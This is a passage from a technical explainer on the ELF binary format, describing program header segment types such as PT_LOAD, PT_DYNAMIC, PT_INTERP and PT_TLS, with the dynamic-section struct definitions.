This specifies a loadable segment described by p_filesz and p_memsz which means the segment is going to be mapped into memory. Bytes from the file are mapped to the beginning of the memory segment. Should the memory size be larger than the file size, the extra bytes are filled with 0s and are placed after the segment's data. Note that the file size cannot be larger than the memory size.

Entries of this type are sorted in an ascending order in the PHT according to their p_vaddr field.

All executable files must contain at least one PT_LOAD segment.

PT_DYNAMIC

The dynamic segment is pertinent to executables which avail themselves of dynamic linking and contains information for the dynamic linker. It typically points to the .dynamic section and comprises a series of structures which hold the relevant information.

typedef struct
{
  Elf32_Sword	d_tag;			/* Dynamic entry type */
  union
    {
      Elf32_Word d_val;			/* Integer value */
      Elf32_Addr d_ptr;			/* Address value */
    } d_un;
} Elf32_Dyn;

typedef struct
{
  Elf64_Sxword	d_tag;			/* Dynamic entry type */
  union
    {
      Elf64_Xword d_val;		/* Integer value */
      Elf64_Addr d_ptr;			/* Address value */
    } d_un;
} Elf64_Dyn;

In essence, the d_tag field determines whether the d_un field is treated as a value or an address.

PT_NOTE

This segment is completely optional and may contain information that is pertinent to a specific system. It can hold a variable number of entries of size 4 or 8 bytes on 32-bit and 64-bit platforms, respectively.

PT_INTERP

Here are specified the location and size of a null terminated string which describes the programme interpreter. Only one such segment is allowed per file and it must also precede any PT_LOAD segments.

PT_PHDR

This segment contains the location and size of the Programme Header Table itself, both in the file and in memory. Similarly to PT_INTERP, only one such segment is allowed per file and it must also precede any PT_LOAD segments.

PT_TLS

This segment specifies the Thread-Local Storage template. The latter is an amalgamation of all sections of type SHF_TLS. TLS sections are used to specify the size and initial contents of data whose copies are to be associated with different threads of execution. The part of the TLS which holds this initialised data is referred to as the TLS initialisation image, while the rest of the template is comprised of one or more sections of type SHF_NOBITS.